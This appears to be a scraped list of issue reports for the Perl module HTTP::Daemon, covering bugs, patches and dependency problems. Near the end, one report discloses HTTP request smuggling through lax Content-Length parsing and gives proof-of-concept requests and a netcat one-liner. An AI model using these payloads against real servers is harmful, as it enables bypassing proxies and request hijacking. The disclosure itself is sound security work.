Attached patch adds a special handling for undefined and emptry LocalAddr arguments to work around IO::Socket::IP incompatibility (CPAN RT#123069).
From [email protected] on 2017-09-18 14:27:38
:
Dne Po 18.zá�.2017 10:01:01, ppisar napsal(a):
> Attached patch adds a special handling for undefined and emptry
> LocalAddr arguments to work around IO::Socket::IP incompatibility
> (CPAN RT#123069).
Grr. I made a typo. Attached patch replaces it.
From [email protected] on 2018-05-23 15:16:43
:
Dne Po 18.zá�.2017 10:27:38, ppisar napsal(a):
> Dne Po 18.zá�.2017 10:01:01, ppisar napsal(a):
> > Attached patch adds a special handling for undefined and emptry
> > LocalAddr arguments to work around IO::Socket::IP incompatibility
> > (CPAN RT#123069).
>
> Grr. I made a typo. Attached patch replaces it.
>
There was another bug found, CPAN RT#125242.
Deal with outstanding pull requests which are still in original repository
HTTP::Daemon 6.02 creates a circular dependency with LWP::UserAgent making installation impossible
When trying to cpan HTTP::Daemon, it requires LWP::UserAgent and vice versa, so unless you already had LWP::UserAgent installed beforehand, installing becomes extremely difficult.
HTTP::Daemon listening on localhost (Win32 only bug) [rt.cpan.org #62354]
Migrated from rt.cpan.org#62354 (status was 'open')
Requestors:
From [email protected] on 2010-10-21 20:38:51
:
Hi,
the following code:
use HTTP::Daemon;
my $srv = HTTP::Daemon->new(LocalAddr => 'localhost:8080');
print "url=", $srv->url;
on Windows box (strawberry perl 5.10.1) prints:
url=http://MYPCNAME.domain.cz
however the daemon listens just on 127.0.0.1:8080 so the $srv->url is invalid.
on a Linux bow prints:
url=http://localhost.localdomain:8080/
which is OK (more or less)
--
kmx
From [email protected] on 2010-10-21 20:40:06
:
sorry fo typo:
> url=http://MYPCNAME.domain.cz
shoud be
url=http://MYPCNAME.domain.cz:8080/
Arg length for inet_ntoa [rt.cpan.org #71395]
Migrated from rt.cpan.org#71395 (status was 'open')
Requestors:
Attachments:
From [email protected] on 2011-10-01 23:29:38
:
"Bad arg length for Socket::inet_ntoa, length is 16, should be 4" at
HTTP/Daemon.pm line 48
All this is about the sub url in the module. If you have
IO::Socket::INET6 installed, using HTTP::Daemon with, say, Gepok, will
throw an error when you send the sockname ($addr here, in the sub url)
to inet_ntoa. Because IO::Socket::SSL will use INET6 if it is installed.
INET6 sends a 16-byte string when you ask for sockaddr, and inet_ntoa
chokes. So, I have a patch to use the Sys::hostname value for the $url,
not only if the two conditions there are met, but also if $self isa
IO::Socket::INET6. Which avoids sending the too-long string to inet_ntoa.
The patch is attached and below:
@@ -40,7 +40,7 @@ sub url
my $self = shift;
my $url = $self->_default_scheme . "://";
my $addr = $self->sockaddr;
- if (!$addr || $addr eq INADDR_ANY) {
+ if (!$addr || $addr eq INADDR_ANY || $self->isa('IO::Socket::INET6')) {
require Sys::Hostname;
$url .= lc Sys::Hostname::hostname();
}
Amiri
From [email protected] on 2012-02-18 12:20:49
:
I don't understand how you get into this situation. Did you explicitly override the
HTTP::Daemon::ISA to be IO::Socket::INET6 instead?
From [email protected] on 2012-02-18 18:28:07
:
On Sat, Feb 18, 2012 at 07:20:50AM -0500, Gisle_Aas via RT wrote:
| <URL: https://rt.cpan.org/Ticket/Display.html?id=71395 >
|
| I don't understand how you get into this situation. Did you explicitly override the
| HTTP::Daemon::ISA to be IO::Socket::INET6 instead?
I did not explicitly override, but IO::Socket::SSL will use
IO::Socket::INET6 if it is installed, which produced the problem.
Amiri
From [email protected] on 2012-02-19 10:29:07
:
Does this mean that you are using HTTP::Daemon::SSL then?
From [email protected] on 2012-02-19 11:48:26
:
On Sun, Feb 19, 2012 at 05:29:08AM -0500, Gisle_Aas via RT wrote:
| <URL: https://rt.cpan.org/Ticket/Display.html?id=71395 >
|
| Does this mean that you are using HTTP::Daemon::SSL then?
Yes, the software uses both HTTP::Daemon and HTTP::Daemon::SSL. Also
HTTP::Daemon::UNIX.
Amiri
From [email protected] on 2012-03-05 15:49:01
:
On Sun Feb 19 06:48:26 2012, [email protected] wrote:
> On Sun, Feb 19, 2012 at 05:29:08AM -0500, Gisle_Aas via RT wrote:
> | <URL: https://rt.cpan.org/Ticket/Display.html?id=71395 >
> |
> | Does this mean that you are using HTTP::Daemon::SSL then?
>
> Yes, the software uses both HTTP::Daemon and HTTP::Daemon::SSL. Also
> HTTP::Daemon::UNIX.
>
> Amiri
Writer of Gepok here. I wonder whether the appropriate patch should be
directed to HTTP::Daemon::SSL (I'm guessing yes?)
But currently I'm using Amiri's patch myself on my deployment targets.
Regards,
Steven
From [email protected] on 2012-03-06 02:11:09
:
On Mon Mar 05 10:49:01 2012, SHARYANTO wrote:
> On Sun Feb 19 06:48:26 2012, [email protected] wrote:
> > On Sun, Feb 19, 2012 at 05:29:08AM -0500, Gisle_Aas via RT wrote:
> > | <URL: https://rt.cpan.org/Ticket/Display.html?id=71395 >
> > |
> > | Does this mean that you are using HTTP::Daemon::SSL then?
> >
> > Yes, the software uses both HTTP::Daemon and HTTP::Daemon::SSL. Also
> > HTTP::Daemon::UNIX.
> >
> > Amiri
>
> Writer of Gepok here. I wonder whether the appropriate patch should
be
> directed to HTTP::Daemon::SSL (I'm guessing yes?)
>
> But currently I'm using Amiri's patch myself on my deployment targets.
>
> Regards,
> Steven
Btw, the kind folks at PerlMonks have also suggested simply to
uninstall IO::Socket::INET6 (at least on Debian, by uninstalling libio-
socket-inet6-perl). Works for me, haven't tested on other platform.
Ref: http://www.perlmonks.org/?node_id=948946
From [email protected] on 2017-01-16 16:51:45
:
Dne So 01.Å�Ãj.2011 19:29:38, AMIRI napsal(a):
> "Bad arg length for Socket::inet_ntoa, length is 16, should be 4" at
> HTTP/Daemon.pm line 48
>
> All this is about the sub url in the module. If you have
> IO::Socket::INET6 installed, using HTTP::Daemon with, say, Gepok, will
> throw an error when you send the sockname ($addr here, in the sub url)
> to inet_ntoa. Because IO::Socket::SSL will use INET6 if it is installed.
> INET6 sends a 16-byte string when you ask for sockaddr, and inet_ntoa
> chokes. So, I have a patch to use the Sys::hostname value for the $url,
> not only if the two conditions there are met, but also if $self isa
> IO::Socket::INET6. Which avoids sending the too-long string to inet_ntoa.
>
Port to IO::Socket::IP should fix it <https://rt.cpan.org/Public/Bug/Display.html?id=91699>.
HTTP client hangs if zero-length file sent
HTTP-Daemon/lib/HTTP/Daemon.pm
Line 546 in b902312
Using send_file_response with empty file suppress "Content-Length" header line, because "if $size" contstruction treated as false.
Then library succsessfully complete operation with RC_OK code, but HTTP client waits data from server, and timeout occured as a result.
Removing "if $size" resolve this problem.
DZil the dist.
Please update this dist to use DZil to make the releases from now on.
HTTP::Daemon: [POD] Link a few more references to other classes [rt.cpan.org #16812]
Migrated from rt.cpan.org#16812 (status was 'open')
Requestors:
Attachments:
From [email protected] on 2005-12-30 17:14:49
:
For thinks like the C<HTTP::Request> that refer to other classes but are only C<>s, please consider converting them to L<>s to make navigation a bit easier.
From [email protected] on 2010-01-31 15:10:26
:
On Fri Dec 30 12:14:49 2005, ADAMK wrote:
> For thinks like the C<HTTP::Request> that refer to other classes but
> are only C<>s, please consider converting them to L<>s to make
> navigation a bit easier.
Patch attached.
CONNECT with Content-Length hangs the proxy [rt.cpan.org #76988]
Migrated from rt.cpan.org#76988 (status was 'new')
Requestors:
From [email protected] on 2012-05-04 13:45:17
:
If a client sends a CONNECT to HTTP::Proxy that includes a Content-
Length header then the result is a hang of the proxy.
It's obviously not a normal condition, but it happened on my
configuration using PHP with cURL and the Google Api library. This
library explicitly sets a Content-Length header for a POST request and
cURL sends it in the CONNECT request to the proxy. I think it's a cURL
wrong behavior, but it was much more easier to fix on the proxy side.
The solution was simply to add this line:
$len = $ct = $te = undef if $method eq "CONNECT";
after this code:
my $te = $r->header('Transfer-Encoding');
my $ct = $r->header('Content-Type');
my $len = $r->header('Content-Length');
This way wrong headers are pretty ignored.
I don't know if anyone else will ever have the same problem, I think
it's not a common situation, anyway I like to report it.
twice: Use of uninitialized value $port [rt.cpan.org #82816]
Migrated from rt.cpan.org#82816 (status was 'new')
Requestors:
From http://bogenstaetter.myopenid.com/ on 2013-01-18 21:34:20
:
When using it together with
SOAP::Transport::HTTP::Daemon::ReapForkOnAccept, a warning occurs:
Use of uninitialized value $port in numeric ne (!=) at
C:/Perl/lib/HTTP/Daemon.pm line 51.
Use of uninitialized value $port in concatenation (.) or string at
C:/Perl/lib/HTTP/Daemon.pm line 51.
I had already a look into it and would suggest a simple fix in line 51:
$url .= ":$port" if (defined($port) and $port != $self->_default_port);
(added: "defined($port) and" as well as brackets around the condition).
Thanks for your work!
Marcus
Could not connect to '[::1]:13381': IO::Socket::INET: Bad hostname '[::1]'
The tests for HTTP-Daemon-6.12 hang in t/url.t when using perl 5.20.2 on FreeBSD 13 thus:
$ .../perl-5.20.2/bin/perl -Mblib t/url.t
# url: http://[::1]:13381/
# 599 Internal Exception
# Could not connect to '[::1]:13381': IO::Socket::INET: Bad hostname '[::1]'
They pass on the same machine using perl 5.32.0, so I assume that there's a dependency on a higher version of some module that comes with 5.20.2 where you've not given the right version number.
"cpanm --verbose --no-interactive --reinstall HTTP::Daemon" fails in travis-ci / bionic / system /usr/bin/perl
cpanm --verbose --no-interactive --reinstall HTTP::Daemon fails when running in travis-ci:
-
https://travis-ci.org/github/shlomif/quad-pres/builds/685709162 (note the branch)
-
https://github.com/shlomif/quad-pres/tree/travis-cpan-install-HTTP-Daemon--test ( note the branch)
Some of the tests appear to be stalling. I am on the default "language: ruby" with the default perl.
IO::Socket::SSL and HTTP::Daemon's select-sysread loop don't work well together [rt.cpan.org #52602]
Migrated from rt.cpan.org#52602 (status was 'open')
Requestors:
From [email protected] on 2009-12-09 11:12:49
:
The below bug raised for HTTP::Daemon::SSL is actually a bug in the
base HTTP::Daemon. You can rewrite the test server in the Perlmonks
node using only HTTP::Daemon and the result is the same.
HTTP::Daemon::SSL hangs on largish (e.g. >37k or >67k) POST request.
Quoting zwon on perlmonks.org:
"It looks like select-sysread loop in HTTP::Daemon doesn't work
correctly with IO::Socket::SSL. That's because select in _need_more
tests real filehandle and sysread reads from IO::Socket::SSL object
which is buffered, so
sysread($self, $_[0], 2048, length($_[0]))
may actually read more than 2048 bytes from the socket and
subsequent
select on socket will hang.
Removing Timeout [which avoids the select() altogether] as proposed by
derby solves the problem."
Complete description in: http://www.perlmonks.org/?node_id=761270
From [email protected] on 2009-12-09 11:16:31
:
sorry - my mistake :(
From [email protected] on 2009-12-09 11:18:56
:
ok, i shouldn't be raising RT tickets this late.
so: the test case does work fine with just HTTP::Daemon, but it *is* an
issue in the underlying HTTP::Daemon and IO::Socket::SSL which prevents
HTTP::Daemon::SSL from working with large posts.
From [email protected] on 2009-12-09 12:02:17
:
FYI - I'm testing re-introducing the _need_more method which was in
HTTP::Daemon::SSL 1.03 to work around this. This has other issues (not
least of which is breaking abstraction).
http://github.com/aufflick/p5-http-daemon-
ssl/commit/021ac9373855e7b99a1fd5b44c14537c950a0dd6
On Wed Dec 09 06:18:56 2009, AUFFLICK wrote:
> ok, i shouldn't be raising RT tickets this late.
>
> so: the test case does work fine with just HTTP::Daemon, but it *is* an
> issue in the underlying HTTP::Daemon and IO::Socket::SSL which
prevents
> HTTP::Daemon::SSL from working with large posts.
Fix t/content_length.t
See https://github.com/libwww-perl/HTTP-Daemon/runs/7075132289?check_suite_focus=true
We should also turn off this warning:
Subroutine HTTP::Tiny::Handle::write_content_body redefined at t/content_length.t line 277.
HTTP::Daemon should support HTTPS [rt.cpan.org #2187]
Migrated from rt.cpan.org#2187 (status was 'new')
Requestors:
Attachments:
From [email protected] on 2003-03-06 19:56:04
:
As per title.
See attached diff.
From [email protected] on 2003-03-06 20:12:03
:
Previous patch is incomplete.
This patch is a hack, but works.
From [email protected] on 2003-03-06 20:16:14
:
[MAHEX - Thu Mar 6 15:12:03 2003]:
> This patch is a hack, but works.
For some values of "works".
Note that you should add "if $self->is_ssl;" after the line that
modifies @HTTP::Daemon::Client::ISA.
Setting $\ to "\n" inserts newlines in the file send with $c->send_file() or $c->send_file_response()
When you set $\ ($OUTPUT_RECORD_SEPARATOR) to anything other than "" (empty string) in the server script,
the value of $\ is inserted multiple times in a file send with $c->send_file() or $c->send_file_response();
It may not be too bad for a text file but it makes a BINARY FILE corrupted and useless, a video for example.
I put an example of the server and client script that I used.
I also found the problem.
This is coming from the send_file() method.
This method reads the file to be send by chunk of 8K and it prints the temporary buffer to a filehandle.
And because $\ is global, a new line is inserted on each print of HTTP::Daemon::send_file().
The SOLUTION is to put :
local ($\ = "");
in the method send_file()
The reason I didn't make a pull request is because I am not sure if that is the best solution.
Would it be better to put local ($\ = ""); at the top of the package for example ?
ALSO,
the same problem that I found might also impact other methods of this package
because there is other methods that prints to a filehandle. And I do not know enough HTTP to decide myself.
In particular, when it concerns the CRLF "\r\n"
Those are the methods that can be possibly impacted : (because of a print to a filehandle)
I put aside methods that print to STDERR.
sub send_status_line {
sub send_crlf {
sub send_basic_header {
sub send_header {
sub send_response {
sub send_redirect {
sub send_error {
sub send_file_response {
sub send_file {
####################################################
EXAMPLE
SERVER SCRIPT
my $file = "/path/to/small/video_file.mp4";
my $port = 3000;
my $d = HTTP::Daemon->new(LocalPort => $port) || die "fail";
$\ = "\n";
print $d->url;
while (my $c = $d->accept) {
while (my $r = $c->get_request) {
if ($r->method eq "GET") {
print "got a GET request"; # the reason to set $\ to "\n"
# $c->send_file_response($file);
$c->send_file($file);
}
}
$c->close;
undef $c;
}####################################################
CLIENT SCRIPT
my $url = "http://localhost:3000/";
my $req = HTTP::Request->new(GET => $url);
my $ua = LWP::UserAgent->new();
$ua->show_progress(1);
my $res = $ua->request($req);
open FH, ">:bytes", "response.mp4";
print FH $res->content;
close FH;PS :
Sorry for the indentation, I don't know how that works
sockhostname called on literal $addr instead of $self crashes HTTP::Daemon-6.0.1 [rt.cpan.org #125242]
Migrated from rt.cpan.org#125242 (status was 'open')
Requestors:
Attachments:
From [email protected] on 2018-04-30 12:37:15
:
Hi all
A bug seems to have slipped in with the patch to move from
IO::Socket::INET to ::IP (Extend IO::Socket::IP to replace ::INET -
https://rt.cpan.org/Public/Bug/Display.html?id=91699).
In sub url, line 64, the "sockhostname" method is called on the result
($addr) of $self->sockaddr (called on line 52). But $addr is not a class
object, but a binary string, so this must fail, and actually does with
this error:
Can't call method "sockhostname" without a package or object reference
at /usr/share/perl5/vendor_perl/HTTP/Daemon.pm line 64.
The following patch fixes this:
--- Daemon.pm.dist 2018-04-30 09:31:17.902832206 +0200
+++ Daemon.pm 2018-04-30 14:17:47.502075060 +0200
@@ -61,7 +61,7 @@
$url .= '[' . inet_ntop(AF_INET6, $addr) . ']';
}
else {
- my $host = $addr->sockhostname;
+ my $host = $self->sockhostname;
if (!defined $host) {
if (sockaddr_family($addr) eq AF_INET6) {
$host = '[' . inet_ntop(AF_INET6, $addr) . ']';
Noticed this on CentOS, after upgrading from
perl-HTTP-Daemon-6.01-5.el7.noarch to
perl-HTTP-Daemon-6.01-7.el7.noarch. Both Daemon.pm files report
$VERSION="6.01", but the one from 5.el7 ISA IO::Socket::INET, while the
other one ISA IO::Socket::IP.
Regards
/markus
--
Markus Wernig
Unix/Network Security Engineer
PGP: D9203D2A4AD9FC3333DEEF9DF7ACC6208E82E4DC
SIP/XMPP: [email protected]
Furch D25-SR Cut - Ovation CE C2078AX-5
-------------------------------------------
https://xfer.ch - https://markus.wernig.net
-------------------------------------------
From [email protected] on 2018-05-24 08:02:14
:
Dne Po 30.dub.2018 08:37:15, [email protected] napsal(a):
> Hi all
>
> A bug seems to have slipped in with the patch to move from
> IO::Socket::INET to ::IP (Extend IO::Socket::IP to replace ::INET -
> https://rt.cpan.org/Public/Bug/Display.html?id=91699).
>
There is still an error if the daemon is bound to an IPv6 specific non-local address. Attached patch fixes both the issues.
From [email protected] on 2018-11-13 11:03:00
:
On Mon Apr 30 08:37:15 2018, [email protected] wrote:
> Hi all
>
> A bug seems to have slipped in with the patch to move from
> IO::Socket::INET to ::IP (Extend IO::Socket::IP to replace ::INET -
> https://rt.cpan.org/Public/Bug/Display.html?id=91699).
>
> In sub url, line 64, the "sockhostname" method is called on the result
> ($addr) of $self->sockaddr (called on line 52). But $addr is not a class
> object, but a binary string, so this must fail, and actually does with
> this error:
>
> Can't call method "sockhostname" without a package or object reference
> at /usr/share/perl5/vendor_perl/HTTP/Daemon.pm line 64.
>
> The following patch fixes this:
>
> --- Daemon.pm.dist 2018-04-30 09:31:17.902832206 +0200
> +++ Daemon.pm 2018-04-30 14:17:47.502075060 +0200
> @@ -61,7 +61,7 @@
> $url .= '[' . inet_ntop(AF_INET6, $addr) . ']';
> }
> else {
> - my $host = $addr->sockhostname;
> + my $host = $self->sockhostname;
> if (!defined $host) {
> if (sockaddr_family($addr) eq AF_INET6) {
> $host = '[' . inet_ntop(AF_INET6, $addr) . ']';
>
I've just tripped over this one as well. The fix above sorted the issue for me.
Paul
HTTP::Daemon does not send header information to client when not using $c->get_request before [rt.cpan.org #59238]
Migrated from rt.cpan.org#59238 (status was 'new')
Requestors:
Attachments:
From [email protected] on 2010-07-10 01:04:35
:
i read the header not with $c->get_request(1) but with readline($c) from
the client and the further content with $c->read($content, $contlen).
later i construct a response object and send it to the client. but no
header information is send, it's completly missing. maybe an error in
HTTP::Daemon::ClientConn ?
i appended some code and a wireshark tcp stream.
Missing content in new frame after \n\n. patch provided [rt.cpan.org #124327]
Migrated from rt.cpan.org#124327 (status was 'new')
Requestors:
From [email protected] on 2018-02-05 16:03:58
:
If the content of a post arrives in a new frame after the double return
_sometimes_ the sysread will miss it. I don't know if this is a time
related issue or not but it happens frequently while using Axios.
To mitigate this I am checking for 'Content-Length' in the header and if it
exists, verifying that length after the double return.
The following patch implements this.
# diff -c3 /home/breshead/Downloads/Daemon.pm Daemon.pm
*** /home/breshead/Downloads/Daemon.pm 2012-02-18 04:21:23.000000000 -0800
--- Daemon.pm 2018-02-05 07:58:16.278661220 -0800
***************
*** 116,123 ****
$buf =~ s/^(?:\015?\012)+//; # ignore leading blank lines
if ($buf =~ /\012/) { # potential, has at least one line
if ($buf =~ /^\w+[^\012]+HTTP\/\d+\.\d+\015?\012/) {
! if ($buf =~ /\015?\012\015?\012/) {
! last READ_HEADER; # we have it
}
elsif (length($buf) > 16*1024) {
$self->send_error(413); # REQUEST_ENTITY_TOO_LARGE
--- 116,135 ----
$buf =~ s/^(?:\015?\012)+//; # ignore leading blank lines
if ($buf =~ /\012/) { # potential, has at least one line
if ($buf =~ /^\w+[^\012]+HTTP\/\d+\.\d+\015?\012/) {
! if ($buf =~ /\015?\012\015?\012(.*)/) {
! # It is possible for the data to follow the double
! # return in the next frame, especially with axios for some
reason.
! # So if the content length exists then check it and
_need_more() as needed.
! my $content = $1;
! my $content_len = length($content);
! if ($buf =~ /Content-Length:\s*(\d+)/){
! my $advertised_len = $1;
! if ($content_len >= $advertised_len){
! last READ_HEADER; # we have it
! }
! }else{
! last READ_HEADER; # we have it
! }
}
elsif (length($buf) > 16*1024) {
$self->send_error(413); # REQUEST_ENTITY_TOO_LARGE
--
Doug Breshears
JSH Farms Inc.
support IO::Socket::UNIX [rt.cpan.org #69302]
Migrated from rt.cpan.org#69302 (status was 'new')
Requestors:
From [email protected] on 2011-07-06 02:02:40
:
It would be nice if instead of subclassing from IO::Socket::INET,
HTTP::Daemon subclasses from IO::Socket (or perhaps IO::Handle). This way
it can support HTTP daemon listening to, say, Unix socket (as a note,
Starman also supports serving HTTP requests over Unix socket).
From [email protected] on 2011-07-06 04:57:25
:
On Tue Jul 05 22:02:40 2011, SHARYANTO wrote:
> It would be nice if instead of subclassing from IO::Socket::INET,
> HTTP::Daemon subclasses from IO::Socket (or perhaps IO::Handle). This
way
> it can support HTTP daemon listening to, say, Unix socket (as a note,
> Starman also supports serving HTTP requests over Unix socket).
Btw, I just wrote a quick hack to allow HTTP::Daemon to serve over Unix
socket: HTTP::Daemon::UNIX (on CPAN shortly).
Regards,
Steven
[MACOS] HTTP::Daemon not working since 6.05 on MacOS
Hi,
we are using HTTP::Daemon in fusioninventory-agent to build a portable inventory agent. I started to notice a failure on CircleCI tests this summer and as I had to rebuild our perl for our MacOS package I discovered HTTP::Daemon was no more working. I had to revert to HTTP::[email protected] with cpanm to have it working.
In CircleCI, our tests are showing this error:
t/agent/http/server.t ............................... 1/12 Bad arg length for Socket::unpack_sockaddr_in, length is 28, should be 16 at /System/Library/Perl/5.18/darwin-thread-multi-2level/Socket.pm line 824.
# Looks like your test exited with 29 just after 2.
t/agent/http/server.t ............................... Dubious, test returned 29 (wstat 7424, 0x1d00)
see our CircleCI build 821.
It seems CircleCI uses perl 5.18 but I built perl 5.30 and it wasn't working too.
HTTP::Daemon 6.03 creates a circular dependency with LWP::RobotUA making installation impossible
Just like in the last version 6.02 we have now a circular dependency with LWP::RobotUA
Discrepancies in the Parsing of Content Length header leading to http request smuggling
Poor parsing of content-length header in httpdaemon will lead to http request smuggling
Libwwwperl parses poorly the content-length header , if a proxy downstream a request to Libwwwperl which violates RFC in parsing
the content-length header will lead to http request smuggling , as it ambigiously parse the incoming request and contradicts with
the downstreaming proxy
Examples:
- Content_Length is treated as content-length header by httpdaemon , hence when a proxy downstream a request by just forwarding the
content_length header it will lead to http request smuggling - Multiple content-length header with different field values got accepted
Reference for http request smuggling
POC
Below here I attached all the poc for the discrepancies occured in httpdaemon in parsing the request which will lead to http request
smuggling
Discrepancy in Parsing
1. Multiple Content-Length with different values got accepted , which is violation according to RFC ,and can lead to http request smuggling
POC
Request
GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: 2
Content-Length: 3
abc
Response
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 17:50:12 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 24
Body Length: 2 Body: ab2. Failed to parse the Content-Length correctly
Eg : Content-Length: 3 3 , Content-Length: 3\r\n 1
POC
Request
GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: 3 3
abc
Response
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:02:08 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25
Body Length: 3 Body: abc3. negative content-length field values got mapped to positive values differently
Eg : -3 = 1 , -2 = 2 , -1 = 3
POC
Request
GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: -1
abc
Response
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:10:12 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25
Body Length: 3 Body: abc4. +ve sign got accepted before content-length field value
GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: +3
abc
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:12:36 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25
Body Length: 3 Body: abc5. Content_Length header got accepted as content-length , this will definitely lead to http request smuggling
Request
GET / HTTP/1.1
Host: localhost
Connection: close
Content_Length: 3
abc
Response
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:14:23 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25
Body Length: 3 Body: abc
6. decimal values got accepted in content-length values
Request
GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: 03.00
abc
Response
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:17:47 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25
Body Length: 3 Body: abc
7. FormFeed \x0c , BackSpace \x08 , Vertical tab \x0b got accepted before and after content-length values
Content-Length: [prefix]3[suffix]
echo -ne "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: \x0c3\r\n\r\naaa" | nc 10.16.56.236 8008
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:20:17 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25
Body Length: 3 Body: aaaversion 6.14
Code to Reproduce
use HTTP::Daemon;
use HTTP::Status;
use Try::Tiny;
my $d = HTTP::Daemon->new(
LocalAddr => '10.16.56.236',
LocalPort => 8008,
) || die;
print "Server started at:", $d->url, ">\n";
while (my $c = $d->accept) {
try{
while (my $r = $c->get_request) {
if ($r->method eq 'GET' and $r->uri->path eq "/") {
my $body_data = "\rBody Length: " . length($r->content) . " Body: " . $r->content ;
my $resp = HTTP::Response->new(200);
$resp->content($body_data);
$c->send_response($resp);
}
else {
$c->send_error(RC_FORBIDDEN)
}
}
$c->close;
undef($c);
}
catch{
$c->close;
undef($c);
warn "request failed" ;
}
}
HTTP::Daemon::ClientConn::send_basic_header() always sends Server: and Date: headers [rt.cpan.org #16330]
Migrated from rt.cpan.org#16330 (status was 'new')
Requestors:
From on 2005-12-07 02:09:26
:
HTTP::Daemon::ClientConn::send_basic_header() always
sends Server: and Date: headers, even if they already exist
in the HTTP::Response object. This is a problem because
send_response() always calls send_basic_header(). In my case,
the HTTP::Response object is an actual response from another
server, so naturally already contains those headers.
Fortunately, the excellent design of the class made it easy for
me to override send_basic_header() in a subclass, but it would
have been nice if I hadn't had to.
Irrelevant but apparently compulsory information:
libwww-perl-5.803 (from CPAN, not Debian package)
Perl 5.8.4 (Debian package version 5.8.4-8)
Linux 2.6.11 (Debian-based custom distro)
v6.15 requires LWP::UserAgent >= v6.37
Either lift the required version of LWP::UserAgent to 6.37 or fix the failing test:
...
t/00-report-prereqs.t .. ok
Bad http proxy specification 'http://[::1]:41085/' at t/basic.t line 173.
Looks like your test exited with -1 just after 36.
t/basic.t ..............
Dubious, test returned 255 (wstat 65280, 0xff00)
Failed 9/45 subtests
t/chunked.t ............ ok
t/content_length.t ..... ok
t/encoding.t ........... ok
...
HTTP::Daemon has undeclared dependencies
Today I attempted to install Test::Smoke against Perl 5 blead using cpan as the installer. The cpan utility detected two undeclared dependencies in HTTP::Daemon.
Running test for module 'HTTP::Daemon'
Fetching with HTTP::Tiny:
https://cpan.org/authors/id/O/OA/OALDERS/HTTP-Daemon-6.14.tar.gz
Checksum for /home/jkeenan/.cpan/sources/authors/id/O/OA/OALDERS/HTTP-Daemon-6.14.tar.gz ok
---- Unsatisfied dependencies detected during ----
---- OALDERS/HTTP-Daemon-6.14.tar.gz ----
Module::Build::Tiny [build_requires]
Running test for module 'Module::Build::Tiny'
Checksum for /home/jkeenan/.cpan/sources/authors/id/L/LE/LEONT/Module-Build-Tiny-0.039.tar.gz ok
Warning: CPAN.pm discovered Module::Build as undeclared prerequisite.
Adding it now as such.
---- Unsatisfied dependencies detected during ----
---- LEONT/Module-Build-Tiny-0.039.tar.gz ----
ExtUtils::Config [build_requires]
ExtUtils::Helpers [build_requires]
ExtUtils::InstallPaths [build_requires]
Module::Build [build_requires]
Running test for module 'ExtUtils::Config'
Module-Build and Module-Build-Tiny were reported as unsatisfied. Can you investigate?
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.